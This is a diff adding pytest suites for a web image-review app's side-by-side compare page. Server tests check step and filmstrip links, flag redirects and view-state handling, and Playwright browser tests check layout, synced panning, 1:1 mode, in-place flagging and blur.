||||
"04.png": PNG, "05.png": PNG, "06.png": PNG, "07.png": PNG})
|
||||
|
||||
|
||||
def _step(body: str, which: str) -> tuple[str, str]:
|
||||
"""The (a, b) rels a step link targets."""
|
||||
href = re.search(r'<a [^>]*data-step="%s"[^>]*href="([^"]+)"' % which, body)
|
||||
href = href or re.search(r'<a [^>]*href="([^"]+)"[^>]*data-step="%s"' % which, body)
|
||||
q = parse_qs(urlsplit(href.group(1).replace("&", "&")).query)
|
||||
return q["a"][0], q["b"][0]
|
||||
|
||||
|
||||
def test_linked_steps_keep_the_distance_and_wrap(tmp_path):
|
||||
"""Ring positions 2 and 5 step forward to (3, 6), then (4, 1) — wrapped —
|
||||
and back from (1, 4) to (6, 3). Named by rel, never by ordinal."""
|
||||
_ring6(tmp_path)
|
||||
c = _client(tmp_path)
|
||||
body = c.get("/b/g/compare?a=02.png&b=06.png").text
|
||||
assert _step(body, "both-next") == ("04.png", "07.png")
|
||||
body = c.get("/b/g/compare?a=04.png&b=07.png").text
|
||||
assert _step(body, "both-next") == ("05.png", "01.png")
|
||||
body = c.get("/b/g/compare?a=07.png&b=02.png").text
|
||||
assert _step(body, "both-next") == ("01.png", "04.png"), "A wraps as B does"
|
||||
body = c.get("/b/g/compare?a=01.png&b=05.png").text
|
||||
assert _step(body, "both-prev") == ("07.png", "04.png")
|
||||
# each side on its own moves only itself, and wraps the same way
|
||||
assert _step(body, "a-prev") == ("07.png", "05.png")
|
||||
assert _step(body, "a-next") == ("02.png", "05.png")
|
||||
assert _step(body, "b-prev") == ("01.png", "04.png")
|
||||
assert _step(body, "b-next") == ("01.png", "06.png")
|
||||
|
||||
|
||||
def _compare_links(body: str) -> list[str]:
|
||||
"""Every step and filmstrip href on the page, entity-decoded."""
|
||||
hrefs = re.findall(r'<a [^>]*(?:data-step="[^"]+"[^>]*href|class="film-f[^"]*"[^>]*href)="([^"]+)"', body)
|
||||
return [h.replace("&", "&") for h in hrefs]
|
||||
|
||||
|
||||
def test_the_urls_are_keyed_by_rel(tmp_path):
|
||||
"""Every step and strip link names both sides by rel, url-quoted; none
|
||||
carries an ordinal or any key beyond the pair and the view state."""
|
||||
_booth(tmp_path, "g", {"a b.png": PNG, "sub dir/c#d.png": PNG, "e&f.png": PNG})
|
||||
body = _client(tmp_path).get("/b/g/compare", params={"a": "a b.png", "b": "sub dir/c#d.png"}).text
|
||||
links = _compare_links(body)
|
||||
assert len(links) == 6 + 3, links # six steps, three frames
|
||||
for h in links:
|
||||
u = urlsplit(h)
|
||||
assert u.path == "/b/g/compare", h
|
||||
assert " " not in h and "#" not in u.query.replace("%23", ""), h
|
||||
q = parse_qs(u.query)
|
||||
assert set(q) == {"a", "b"}, h
|
||||
assert all(v in ("a b.png", "sub dir/c#d.png", "e&f.png") for v in (q["a"][0], q["b"][0])), h
|
||||
|
||||
|
||||
def test_view_state_rides_the_links(tmp_path):
|
||||
"""`side=a&link=0` rides every step and strip link; an unknown value reads
|
||||
as the default (B active, linked) and is never an error."""
|
||||
_four(tmp_path)
|
||||
c = _client(tmp_path)
|
||||
body = c.get("/b/g/compare?a=p.png&b=r.png&side=a&link=0").text
|
||||
links = _compare_links(body)
|
||||
assert links and all(h.endswith("&side=a&link=0") for h in links), links
|
||||
assert 'class="cmp-side is-active" data-side="a"' in body
|
||||
# with A active a frame replaces A, keeping B
|
||||
frame = re.search(r'<a class="film-f[^"]*"\s+href="([^"]+)" data-rel="q.png"', body).group(1)
|
||||
assert parse_qs(urlsplit(frame.replace("&", "&")).query) == {
|
||||
"a": ["q.png"], "b": ["r.png"], "side": ["a"], "link": ["0"]}
|
||||
links = _compare_links(c.get("/b/g/compare?a=p.png&b=r.png&link=0").text)
|
||||
assert links and all(h.endswith("&link=0") and "side=" not in h for h in links), links
|
||||
for odd in ("side=z&link=maybe", "side=A&link=00", "side=&link="):
|
||||
r = c.get(f"/b/g/compare?a=p.png&b=r.png&{odd}")
|
||||
assert r.status_code == 200, odd
|
||||
links = _compare_links(r.text)
|
||||
assert all(set(parse_qs(urlsplit(h).query)) == {"a", "b"} for h in links), (odd, links)
|
||||
assert 'class="cmp-side is-active" data-side="b"' in r.text, odd
|
||||
assert 'data-linked="1"' in r.text, odd
|
||||
|
||||
|
||||
# ---- C5: judging without JS -----------------------------------------------------
|
||||
|
||||
def _flag(c: TestClient, form: dict, accept: str | None = None):
|
||||
headers = {"accept": accept} if accept else {}
|
||||
r = c.post("/b/g/flag", data={"target": "q.png", "on": "1", **form}, headers=headers)
|
||||
assert r.status_code == (204 if accept else 303), (form, r.status_code)
|
||||
return r
|
||||
|
||||
|
||||
def test_a_flag_without_js_lands_on_the_same_pair(tmp_path):
|
||||
"""`back=compare` lands on exactly the pair, built from the checked rels,
|
||||
with the view state mapped from a closed set and never echoed, and no
|
||||
fragment. Anything outside the ring takes the no-`back` landing; the
|
||||
in-place answer is the 204 it always was."""
|
||||
_booth(tmp_path, "g", {"p.png": PNG, "q.png": PNG, "sub dir/r s.png": PNG, "n.md": b"# n"})
|
||||
c = _client(tmp_path)
|
||||
pair = {"back": "compare", "a": "p.png", "b": "sub dir/r s.png"}
|
||||
want = "/b/g/compare?a=p.png&b=sub%20dir/r%20s.png"
|
||||
r = _flag(c, pair)
|
||||
assert r.status_code == 303 and r.headers["location"] == want
|
||||
assert _flag(c, {**pair, "side": "a", "link": "0"}).headers["location"] == want + "&side=a&link=0"
|
||||
assert _flag(c, {**pair, "link": "0"}).headers["location"] == want + "&link=0"
|
||||
for odd in ({"side": "A"}, {"link": "00"}, {"side": "b", "link": "1"},
|
||||
{"side": "a#x", "link": "0&side=a"}):
|
||||
assert _flag(c, {**pair, **odd}).headers["location"] == want, odd
|
||||
no_back = _flag(c, {"target": "q.png"}).headers["location"]
|
||||
assert no_back == "/b/g/#item-q.png"
|
||||
for bad in ({"a": "n.md"}, {"b": "gone.png"}, {"a": "../g/p.png"}, {"b": ""}):
|
||||
assert _flag(c, {**pair, **bad}).headers["location"] == no_back, bad
|
||||
r = _flag(c, pair, accept="application/json")
|
||||
assert r.status_code == 204 and "location" not in r.headers
|
||||
|
||||
|
||||
def test_every_other_landing_is_byte_identical(tmp_path):
|
||||
"""R2 INV-4: `back=view`, `back=marks` and no `back` land exactly where they
|
||||
did before compare existed."""
|
||||
_booth(tmp_path, "g", {"p.png": PNG, "q.png": PNG})
|
||||
c = _client(tmp_path)
|
||||
assert _flag(c, {}).headers["location"] == "/b/g/#item-q.png"
|
||||
assert _flag(c, {"back": "marks"}).headers["location"] == "/b/g/marks#item-q.png"
|
||||
assert _flag(c, {"back": "view", "f": "p.png"}).headers["location"] == "/b/g/view?f=p.png#rail"
|
||||
assert _flag(c, {"back": "view", "f": "gone.png"}).headers["location"] == "/b/g/#item-q.png"
|
||||
assert _flag(c, {"back": "Compare", "a": "p.png", "b": "q.png"}).headers["location"] == "/b/g/#item-q.png"
|
||||
|
||||
|
||||
# ---- C2: picking from the review ------------------------------------------------
|
||||
|
||||
def _compare_href(body: str) -> tuple[str, str]:
|
||||
href = re.search(r'<a class="vbtn vcompare"[^>]*href="([^"]+)"', body).group(1)
|
||||
u = urlsplit(href.replace("&", "&"))
|
||||
assert u.path == "/b/g/compare", href
|
||||
q = parse_qs(u.query)
|
||||
assert set(q) == {"a", "b"}, href
|
||||
return q["a"][0], q["b"][0]
|
||||
|
||||
|
||||
def test_the_review_offers_compare_with_the_next_item(tmp_path):
|
||||
"""The review's Compare control opens this item against the NEXT media item
|
||||
in the ring — skipping the doc — and the last wraps to the first. A ring of
|
||||
one compares the item with itself."""
|
||||
_ring6(tmp_path)
|
||||
c = _client(tmp_path)
|
||||
assert _compare_href(c.get("/b/g/view?f=02.png").text) == ("02.png", "04.png")
|
||||
assert _compare_href(c.get("/b/g/view?f=07.png").text) == ("07.png", "01.png")
|
||||
_booth(tmp_path, "one", {"only.png": PNG, "n.md": b"# n"})
|
||||
body = c.get("/b/one/view?f=only.png").text
|
||||
href = re.search(r'<a class="vbtn vcompare"[^>]*href="([^"]+)"', body).group(1)
|
||||
assert href.replace("&", "&") == "/b/one/compare?a=only.png&b=only.png"
|
||||
# a doc's own page is not a review, and offers no compare
|
||||
assert 'class="vbtn vcompare"' not in c.get("/b/g/view?f=03-notes.md").text
|
||||
@@ -0,0 +1,523 @@
|
||||
"""R3 — compare, in a real DOM.
|
||||
|
||||
Contract: docs/contracts/r3_compare.contract.md. A TestClient can prove what
|
||||
the server answers; it cannot prove that two stages sit side by side, that a
|
||||
pan on one lands the other on the same crop, or that an in-place save keeps
|
||||
the active side. The harness is test_flow_browser's (a real uvicorn, a real
|
||||
offline Chromium), and like it this SKIPS, never fails, without a browser.
|
||||
"""
|
||||
import pathlib
|
||||
import sys
|
||||
|
||||
sys.path.insert(0, str(pathlib.Path(__file__).parent.parent))
|
||||
|
||||
from test_flow_browser import _png, browser, live # noqa: E402,F401 (fixtures)
|
||||
|
||||
|
||||
def _pics(root: pathlib.Path, pics: dict, name: str = "g") -> pathlib.Path:
|
||||
b = root / name
|
||||
b.mkdir()
|
||||
for rel, (w, h) in pics.items():
|
||||
p = b / rel
|
||||
p.parent.mkdir(parents=True, exist_ok=True)
|
||||
p.write_bytes(_png(w, h))
|
||||
return b
|
||||
|
||||
|
||||
def _open(page, url):
|
||||
"""Load a compare page and wait until every picture on a stage decoded."""
|
||||
page.goto(url, wait_until="networkidle")
|
||||
page.wait_for_function("""[...document.querySelectorAll('.cmp-side .vstage img')]
|
||||
.every(i => i.complete && i.naturalWidth > 0)""")
|
||||
page.wait_for_timeout(150)
|
||||
|
||||
|
||||
_BOXES = """() => [...document.querySelectorAll('.cmp-side .vstage')].map(s => {
|
||||
const b = s.getBoundingClientRect();
|
||||
return {side: s.dataset.side, l: b.left, r: b.right, t: b.top, b: b.bottom, h: b.height};
|
||||
})"""
|
||||
|
||||
|
||||
def test_two_stages_side_by_side_wide_and_stacked_narrow(browser, live):
|
||||
"""The tracer. Above 900px A and B share one row, A on the left, each
|
||||
exactly half the body — the SAME width, so equal pictures have equal
|
||||
ranges. At 900px and below (the review's break) they stack, A above B,
|
||||
each at most 45vh tall."""
|
||||
base, root = live
|
||||
from booth.app import set_blurred
|
||||
b = _pics(root, {"a.png": (800, 600), "b.png": (800, 600)})
|
||||
(b / "a.png.txt").write_text("a caption on A only, " * 8)
|
||||
set_blurred(b, "b.png", True) # the bar carries Reveal all too: its fullest
|
||||
got = {}
|
||||
for w, h in ((1440, 900), (901, 800), (900, 800), (390, 844)):
|
||||
page = browser.new_page(viewport={"width": w, "height": h})
|
||||
_open(page, f"{base}/b/g/compare?a=a.png&b=b.png")
|
||||
got[w] = (page.evaluate(_BOXES), h,
|
||||
page.evaluate("document.documentElement.scrollWidth - document.documentElement.clientWidth"),
|
||||
# and nothing squeezed: every top-bar control one line, none
|
||||
# crushed narrower than its own content (a flex item shrinks
|
||||
# before it overflows — the Fit | 1:1 toggle went to 2px)
|
||||
page.evaluate("""() => { const c = [...document.querySelectorAll(
|
||||
'.vbar button, .vbar .vbtn, .vbar .vtoggle')].filter(e => e.offsetParent);
|
||||
return [Math.max(...c.map(e => e.getBoundingClientRect().height)),
|
||||
Math.max(...c.map(e => e.scrollWidth - e.clientWidth))]; }"""))
|
||||
page.close()
|
||||
(a, b), _, over, tallest = got[1440]
|
||||
assert (a["side"], b["side"]) == ("a", "b")
|
||||
assert abs(a["t"] - b["t"]) <= 1 and a["r"] <= b["l"], (a, b)
|
||||
assert a["r"] - a["l"] > 1440 * 0.4 and b["r"] - b["l"] > 1440 * 0.4, (a, b)
|
||||
# the SAME stage for both, or Fit draws one smaller: A's caption must not
|
||||
# take its height from A's stage alone
|
||||
assert abs(a["h"] - b["h"]) <= 1 and abs(a["b"] - b["b"]) <= 1, (a, b)
|
||||
# ...and the same width: a separator must not come out of one side alone
|
||||
assert abs((a["r"] - a["l"]) - (b["r"] - b["l"])) <= 0.5, (a, b)
|
||||
assert over <= 0 and tallest[0] <= 40 and tallest[1] <= 1, (over, tallest)
|
||||
(a, b), _, _, _ = got[901]
|
||||
assert abs(a["t"] - b["t"]) <= 1 and a["r"] <= b["l"], ("side by side at 901", a, b)
|
||||
(a, b), _, _, _ = got[900]
|
||||
assert a["b"] <= b["t"], ("stacked at 900", a, b)
|
||||
(a, b), vh, over, tallest = got[390]
|
||||
assert a["b"] <= b["t"], ("A above B", a, b)
|
||||
assert a["h"] <= 0.45 * vh + 1 and b["h"] <= 0.45 * vh + 1, (a, b)
|
||||
assert a["h"] > 100 and b["h"] > 100, (a, b)
|
||||
assert over <= 0, "the compare page scrolls sideways at phone width"
|
||||
assert tallest[0] <= 40, ("a top-bar control squeezed into a stack", tallest)
|
||||
assert tallest[1] <= 1, ("a top-bar control crushed narrower than its content", tallest)
|
||||
|
||||
|
||||
_IMGS = """() => [...document.querySelectorAll('.cmp-side .vstage img')].map(i => {
|
||||
const b = i.getBoundingClientRect();
|
||||
return [Math.round(b.width), Math.round(b.height), i.naturalWidth, i.naturalHeight];
|
||||
})"""
|
||||
|
||||
|
||||
def test_one_mode_for_both_and_for_the_review(browser, live):
|
||||
"""`Z` switches BOTH stages to 1:1 and stores it as the review's own
|
||||
preference: the review then opens in 1:1, and Z back is Fit for both."""
|
||||
base, root = live
|
||||
_pics(root, {"a.png": (1600, 1200), "b.png": (1400, 1000)})
|
||||
ctx = browser.new_context(viewport={"width": 1440, "height": 900})
|
||||
page = ctx.new_page()
|
||||
_open(page, f"{base}/b/g/compare?a=a.png&b=b.png")
|
||||
fit = page.evaluate(_IMGS)
|
||||
page.keyboard.press("z")
|
||||
page.wait_for_timeout(150)
|
||||
one = page.evaluate(_IMGS)
|
||||
# both larger than their stages, so both offer the grab at once — not at
|
||||
# the next resize
|
||||
grab = page.evaluate("[...document.querySelectorAll('.cmp-side .vstage')].map(s => getComputedStyle(s).cursor)")
|
||||
stored = page.evaluate("localStorage.getItem('booth.fit')")
|
||||
pressed = page.locator("#btn-one").get_attribute("aria-pressed")
|
||||
page.goto(f"{base}/b/g/view?f=a.png", wait_until="networkidle")
|
||||
page.wait_for_function("document.getElementById('vimg').complete && document.getElementById('vimg').naturalWidth > 0")
|
||||
review_one = page.evaluate("""() => { const i = document.getElementById('vimg'), b = i.getBoundingClientRect();
|
||||
return document.documentElement.classList.contains('stage-one') &&
|
||||
Math.round(b.width) === i.naturalWidth && Math.round(b.height) === i.naturalHeight; }""")
|
||||
page.goto(f"{base}/b/g/compare?a=a.png&b=b.png", wait_until="networkidle")
|
||||
page.keyboard.press("Z")
|
||||
back = page.evaluate("[document.documentElement.classList.contains('stage-one'), localStorage.getItem('booth.fit')]")
|
||||
ctx.close()
|
||||
assert all([w, h] != [nw, nh] for w, h, nw, nh in fit), fit
|
||||
assert all([w, h] == [nw, nh] for w, h, nw, nh in one), one
|
||||
assert grab == ["grab", "grab"], grab
|
||||
assert stored == "one" and pressed == "true" and review_one is True, (stored, pressed, review_one)
|
||||
assert back == [False, None], back
|
||||
|
||||
|
||||
_SCROLLS = """() => [...document.querySelectorAll('.cmp-side .vstage')].map(s => [s.scrollLeft, s.scrollTop])"""
|
||||
|
||||
|
||||
def _one_to_one(page, url):
|
||||
"""Open a compare in 1:1 (the stored preference, applied before paint)."""
|
||||
page.add_init_script("try { localStorage.setItem('booth.fit', 'one'); } catch (e) {}")
|
||||
_open(page, url)
|
||||
|
||||
|
||||
def _center(page, side):
|
||||
box = page.locator(f'.cmp-side[data-side="{side}"] .vstage').bounding_box()
|
||||
return box["x"] + box["width"] / 2, box["y"] + box["height"] / 2
|
||||
|
||||
|
||||
def test_synced_pan_lands_on_the_same_crop(browser, live):
|
||||
"""Two pictures of one size, larger than the stage, in 1:1. A drag on A of
|
||||
(+80, +60) scrolls BOTH by (-80, -60): the same pixels under the same
|
||||
point. A wheel on B moves A with it. After a second of idle neither has
|
||||
moved on its own (no sync loop)."""
|
||||
base, root = live
|
||||
_pics(root, {"a.png": (3000, 3000), "b.png": (3000, 3000)})
|
||||
page = browser.new_page(viewport={"width": 1440, "height": 900})
|
||||
_one_to_one(page, f"{base}/b/g/compare?a=a.png&b=b.png")
|
||||
page.evaluate("document.querySelector('.cmp-side[data-side=\"a\"] .vstage').scrollTo(500, 500)")
|
||||
page.wait_for_timeout(200)
|
||||
start = page.evaluate(_SCROLLS)
|
||||
cx, cy = _center(page, "a")
|
||||
page.mouse.move(cx, cy); page.mouse.down(); page.mouse.move(cx + 80, cy + 60, steps=6); page.mouse.up()
|
||||
page.wait_for_timeout(200)
|
||||
dragged = page.evaluate(_SCROLLS)
|
||||
bx, by = _center(page, "b")
|
||||
page.mouse.move(bx, by)
|
||||
page.mouse.wheel(0, 300)
|
||||
page.wait_for_timeout(600)
|
||||
wheeled = page.evaluate(_SCROLLS)
|
||||
page.wait_for_timeout(1000)
|
||||
idle = page.evaluate(_SCROLLS)
|
||||
page.close()
|
||||
assert start == [[500, 500], [500, 500]], start
|
||||
assert dragged == [[420, 440], [420, 440]], dragged
|
||||
assert wheeled[1][1] > 440 and wheeled[0] == wheeled[1], wheeled
|
||||
assert idle == wheeled, (wheeled, idle)
|
||||
|
||||
|
||||
_RANGES = """() => [...document.querySelectorAll('.cmp-side .vstage')].map(s =>
|
||||
[s.scrollWidth - s.clientWidth, s.scrollHeight - s.clientHeight])"""
|
||||
|
||||
# The first y near `from` on B whose trip B -> A -> B does not come back to
|
||||
# itself when each scroll lands on a whole pixel: where a sync that re-synced
|
||||
# its own echo would walk B off the spot it was put on.
|
||||
_LOSSY = """([from, rA, rB]) => {
|
||||
for (let y = from; y < from + 200; y++)
|
||||
if (Math.round(Math.round(y / rB * rA) / rA * rB) !== y) return y;
|
||||
return from;
|
||||
}"""
|
||||
|
||||
|
||||
def test_synced_pan_by_fraction_for_different_sizes(browser, live):
|
||||
"""A 2000px and a 3000px picture. One at its middle puts the other at ITS
|
||||
middle; one at 25% of its range puts the other at 25% of ITS range — not
|
||||
at the same pixel offset. The equal-size test cannot see a fraction bug
|
||||
(equal overflow makes offsets and fractions coincide); this one can. And a
|
||||
side put somewhere STAYS there: the sync never echoes back and walks it."""
|
||||
base, root = live
|
||||
_pics(root, {"a.png": (2000, 2000), "b.png": (3000, 3000)})
|
||||
page = browser.new_page(viewport={"width": 1440, "height": 900})
|
||||
_one_to_one(page, f"{base}/b/g/compare?a=a.png&b=b.png")
|
||||
(rax, ray), (rbx, rby) = page.evaluate(_RANGES)
|
||||
a = '.cmp-side[data-side="a"] .vstage'
|
||||
b = '.cmp-side[data-side="b"] .vstage'
|
||||
page.evaluate("([s, x, y]) => document.querySelector(s).scrollTo(x, y)", [a, round(rax / 2), round(ray / 2)])
|
||||
page.wait_for_timeout(250)
|
||||
middle = page.evaluate(_SCROLLS)
|
||||
y = page.evaluate(_LOSSY, [round(rby / 4), ray, rby])
|
||||
x = page.evaluate(_LOSSY, [round(rbx / 4), rax, rbx])
|
||||
page.evaluate("([s, x, y]) => document.querySelector(s).scrollTo(x, y)", [b, x, y])
|
||||
page.wait_for_timeout(250)
|
||||
quarter = page.evaluate(_SCROLLS)
|
||||
page.wait_for_timeout(1000)
|
||||
idle = page.evaluate(_SCROLLS)
|
||||
page.close()
|
||||
assert rbx > rax > 0 and rby > ray > 0, (rax, ray, rbx, rby)
|
||||
assert abs(middle[1][0] - rbx / 2) <= 1 and abs(middle[1][1] - rby / 2) <= 1, (middle, rbx, rby)
|
||||
assert abs(quarter[0][0] / rax - x / rbx) * rax <= 1, (quarter, x)
|
||||
assert abs(quarter[0][1] / ray - y / rby) * ray <= 1, (quarter, y)
|
||||
assert quarter[0][0] < x - 100, "A must sit at ITS 25%, not at B's pixel offset"
|
||||
assert quarter[1] == [x, y] and idle == quarter, (x, y, quarter, idle)
|
||||
|
||||
|
||||
def test_an_axis_with_nothing_to_scroll_is_ignored(browser, live):
|
||||
"""A side with nothing to scroll on an axis ignores that axis, each axis
|
||||
on its own. A is wide and short (it scrolls across only), B is large. B
|
||||
scrolled down stays down when A pans across: B's x follows, B's y is B's."""
|
||||
base, root = live
|
||||
_pics(root, {"a.png": (3000, 200), "b.png": (3000, 3000)})
|
||||
page = browser.new_page(viewport={"width": 1440, "height": 900})
|
||||
_one_to_one(page, f"{base}/b/g/compare?a=a.png&b=b.png")
|
||||
(rax, ray), (rbx, rby) = page.evaluate(_RANGES)
|
||||
page.evaluate("document.querySelector('.cmp-side[data-side=\"b\"] .vstage').scrollTo(0, 500)")
|
||||
page.wait_for_timeout(250)
|
||||
down = page.evaluate(_SCROLLS)
|
||||
page.evaluate("document.querySelector('.cmp-side[data-side=\"a\"] .vstage').scrollTo(800, 0)")
|
||||
page.wait_for_timeout(250)
|
||||
across = page.evaluate(_SCROLLS)
|
||||
page.close()
|
||||
assert ray == 0 and rax > 0 and rby > 0, (rax, ray, rbx, rby)
|
||||
assert down == [[0, 0], [0, 500]], down
|
||||
assert across[0] == [800, 0], across
|
||||
assert abs(across[1][0] - 800 / rax * rbx) <= 1 and across[1][1] == 500, across
|
||||
|
||||
|
||||
def test_a_flags_A_in_place_and_the_stages_survive(browser, live):
|
||||
"""`A` flags A in place: no navigation, A's control and label show the
|
||||
flag, B's do not, and both stages are the SAME nodes — a save swaps the
|
||||
regions and never a stage (a playing track would restart)."""
|
||||
from booth.marks import marks_for
|
||||
base, root = live
|
||||
b = _pics(root, {"a.png": (800, 600), "b.png": (800, 600)})
|
||||
page = browser.new_page(viewport={"width": 1440, "height": 900})
|
||||
_open(page, f"{base}/b/g/compare?a=a.png&b=b.png")
|
||||
page.evaluate("""() => { window.__noReload = 1;
|
||||
window.__stages = [...document.querySelectorAll('.cmp-side .vstage')]; }""")
|
||||
page.keyboard.press("a")
|
||||
page.wait_for_selector("#cmp-flag-a.is-flagged", timeout=10000)
|
||||
got = page.evaluate("""() => ({
|
||||
reload: window.__noReload !== 1,
|
||||
same: [...document.querySelectorAll('.cmp-side .vstage')].every((s, i) => s === window.__stages[i]),
|
||||
a: document.querySelector('[data-region="label-a"]').textContent,
|
||||
b: document.querySelector('[data-region="label-b"]').textContent,
|
||||
bflag: document.getElementById('cmp-flag-b').classList.contains('is-flagged'),
|
||||
strip: [...document.querySelectorAll('.film-f.is-flagged')].map(f => f.dataset.rel),
|
||||
})""")
|
||||
flagged = [m.target for m in marks_for(b) if m.shape == "flag"]
|
||||
# the save REPLACED the buttons: each key must find the fresh one
|
||||
page.keyboard.press("b")
|
||||
page.wait_for_selector("#cmp-flag-b.is-flagged", timeout=10000)
|
||||
page.keyboard.press("a")
|
||||
page.wait_for_selector("#cmp-flag-a:not(.is-flagged)", timeout=10000)
|
||||
after = sorted(m.target for m in marks_for(b) if m.shape == "flag")
|
||||
reloaded = page.evaluate("window.__noReload !== 1")
|
||||
page.close()
|
||||
assert not got["reload"] and got["same"], got
|
||||
assert "flagged" in got["a"] and "flagged" not in got["b"] and not got["bflag"], got
|
||||
assert got["strip"] == ["a.png"], got
|
||||
assert flagged == ["a.png"] and after == ["b.png"] and not reloaded, (flagged, after, reloaded)
|
||||
|
||||
|
||||
def _bakeoff(root: pathlib.Path) -> pathlib.Path:
|
||||
"""sindra-bakeoff's shape: two lanes, m and r, the same scenes and seeds,
|
||||
laid out as two parallel runs in sorted order — no pairing rule needed."""
|
||||
scenes = ("dock-s11", "forge-s23", "marsh-s37", "tower-s42")
|
||||
return _pics(root, {f"{lane}-{i}-{sc}.png": (400, 300)
|
||||
for lane in ("m", "r") for i, sc in enumerate(scenes, 1)})
|
||||
|
||||
|
||||
def _pair(page) -> tuple[str, str]:
|
||||
from urllib.parse import parse_qs, urlsplit
|
||||
q = parse_qs(urlsplit(page.url).query)
|
||||
return q["a"][0], q["b"][0]
|
||||
|
||||
|
||||
def _press_and_wait(page, key):
|
||||
with page.expect_navigation(wait_until="networkidle"):
|
||||
page.keyboard.press(key)
|
||||
|
||||
|
||||
def test_linked_arrow_walks_a_bakeoff(browser, live):
|
||||
"""m#1 against r#1, then `→` three times: every pair is the same scene and
|
||||
seed in the two lanes."""
|
||||
base, root = live
|
||||
_bakeoff(root)
|
||||
page = browser.new_page(viewport={"width": 1440, "height": 900})
|
||||
_open(page, f"{base}/b/g/compare?a=m-1-dock-s11.png&b=r-1-dock-s11.png")
|
||||
pairs = [_pair(page)]
|
||||
for _ in range(3):
|
||||
_press_and_wait(page, "ArrowRight")
|
||||
pairs.append(_pair(page))
|
||||
page.close()
|
||||
# every pair, in order: no pair skipped and none repeated
|
||||
scenes = ("dock-s11", "forge-s23", "marsh-s37", "tower-s42")
|
||||
assert pairs == [(f"m-{i}-{sc}.png", f"r-{i}-{sc}.png") for i, sc in enumerate(scenes, 1)], pairs
|
||||
|
||||
|
||||
def test_unlinked_moves_only_the_active_side_and_the_strip_picks_it(browser, live):
|
||||
"""`L` unlinks: `→` moves only B, and a SECOND `→` still moves only B (the
|
||||
state survived the navigation). A strip click replaces the active side.
|
||||
`X` swaps the active side, the reticle follows, and it survives a step."""
|
||||
base, root = live
|
||||
_bakeoff(root)
|
||||
page = browser.new_page(viewport={"width": 1440, "height": 900})
|
||||
_open(page, f"{base}/b/g/compare?a=m-1-dock-s11.png&b=r-1-dock-s11.png")
|
||||
page.keyboard.press("l")
|
||||
linked = page.locator("#cmp-link").get_attribute("aria-pressed")
|
||||
_press_and_wait(page, "ArrowRight")
|
||||
one = _pair(page)
|
||||
_press_and_wait(page, "ArrowRight")
|
||||
two = _pair(page)
|
||||
_press_and_wait(page, "ArrowLeft")
|
||||
left = _pair(page)
|
||||
_press_and_wait(page, "ArrowRight")
|
||||
with page.expect_navigation(wait_until="networkidle"):
|
||||
page.locator('.film-f[data-rel="m-3-marsh-s37.png"]').click()
|
||||
picked = _pair(page)
|
||||
page.keyboard.press("x")
|
||||
active = page.evaluate("""() => [document.querySelector('.cmp-side.is-active').dataset.side,
|
||||
[...document.querySelectorAll('.film-f.is-active')].map(f => f.dataset.rel)]""")
|
||||
_press_and_wait(page, "ArrowRight")
|
||||
stepped = _pair(page)
|
||||
after = page.evaluate("""() => [document.querySelector('.cmp-side.is-active').dataset.side,
|
||||
getComputedStyle(document.querySelector('.cmp-side.is-active > .cmp-stagewrap'), '::after').backgroundImage !== 'none',
|
||||
getComputedStyle(document.querySelector('.cmp-side:not(.is-active) > .cmp-stagewrap'), '::after').backgroundImage !== 'none']""")
|
||||
page.close()
|
||||
assert linked == "false", linked
|
||||
assert one == ("m-1-dock-s11.png", "r-2-forge-s23.png"), one
|
||||
assert two == ("m-1-dock-s11.png", "r-3-marsh-s37.png"), two
|
||||
assert left == one, ("← moves only the active side back", left)
|
||||
assert picked == ("m-1-dock-s11.png", "m-3-marsh-s37.png"), picked
|
||||
assert active == ["a", ["m-1-dock-s11.png"]], active
|
||||
assert stepped == ("m-2-forge-s23.png", "m-3-marsh-s37.png"), stepped
|
||||
assert after == ["a", True, False], after
|
||||
|
||||
|
||||
_FILTERS = """() => [...document.querySelectorAll('.cmp-side .vstage img')].map(i => getComputedStyle(i).filter)"""
|
||||
_REVEALS = """() => [...document.querySelectorAll('.cmp-reveal')].map(b => getComputedStyle(b).display !== 'none')"""
|
||||
|
||||
|
||||
def test_blur_is_honest_on_both_sides(browser, live):
|
||||
"""A blurred side IS blurred — the computed filter, not just a class. Its
|
||||
own reveal lifts it and leaves the other side blurred. Reveal all lifts
|
||||
both, and stands both per-side reveals down."""
|
||||
from booth.app import set_blurred
|
||||
base, root = live
|
||||
b = _pics(root, {"a.png": (800, 600), "b.png": (800, 600)})
|
||||
set_blurred(b, "a.png", True)
|
||||
set_blurred(b, "b.png", True)
|
||||
page = browser.new_page(viewport={"width": 1440, "height": 900})
|
||||
_open(page, f"{base}/b/g/compare?a=a.png&b=b.png")
|
||||
before = page.evaluate(_FILTERS)
|
||||
shown = page.evaluate(_REVEALS)
|
||||
page.locator('.cmp-reveal[data-side="b"]').click()
|
||||
page.wait_for_timeout(400) # the filter transition
|
||||
own = page.evaluate(_FILTERS)
|
||||
page.locator('.cmp-reveal[data-side="b"]').click()
|
||||
page.locator('.cmp-reveal[data-side="a"]').click()
|
||||
page.wait_for_timeout(400)
|
||||
own_a = page.evaluate(_FILTERS)
|
||||
page.locator('.cmp-reveal[data-side="a"]').click()
|
||||
page.locator("[data-reveal-all]").click()
|
||||
page.wait_for_timeout(400)
|
||||
everything = page.evaluate(_FILTERS)
|
||||
stood_down = page.evaluate(_REVEALS)
|
||||
page.close()
|
||||
assert all("blur(" in f for f in before), before
|
||||
assert shown == [True, True], shown
|
||||
assert "blur(" in own[0] and "blur(" not in own[1], own
|
||||
assert "blur(" not in own_a[0] and "blur(" in own_a[1], own_a
|
||||
assert all("blur(" not in f for f in everything), everything
|
||||
assert stood_down == [False, False], stood_down
|
||||
|
||||
|
||||
def test_a_save_keeps_the_active_side(browser, live):
|
||||
"""Make A active (a press on its stage), then flag B in place. The save
|
||||
swaps the strip and the labels, and A is STILL the active side — on its
|
||||
stage and on the strip — and a strip click after the swap replaces A."""
|
||||
base, root = live
|
||||
_bakeoff(root)
|
||||
page = browser.new_page(viewport={"width": 1440, "height": 900})
|
||||
_open(page, f"{base}/b/g/compare?a=m-1-dock-s11.png&b=r-1-dock-s11.png")
|
||||
ax, ay = _center(page, "a")
|
||||
page.mouse.click(ax, ay)
|
||||
page.evaluate("window.__noReload = 1")
|
||||
page.keyboard.press("b")
|
||||
page.wait_for_selector("#cmp-flag-b.is-flagged", timeout=10000)
|
||||
kept = page.evaluate("""() => ({
|
||||
reload: window.__noReload !== 1,
|
||||
side: document.querySelector('.cmp-side.is-active').dataset.side,
|
||||
strip: [...document.querySelectorAll('.film-f.is-active')].map(f => f.dataset.rel),
|
||||
url: location.search,
|
||||
})""")
|
||||
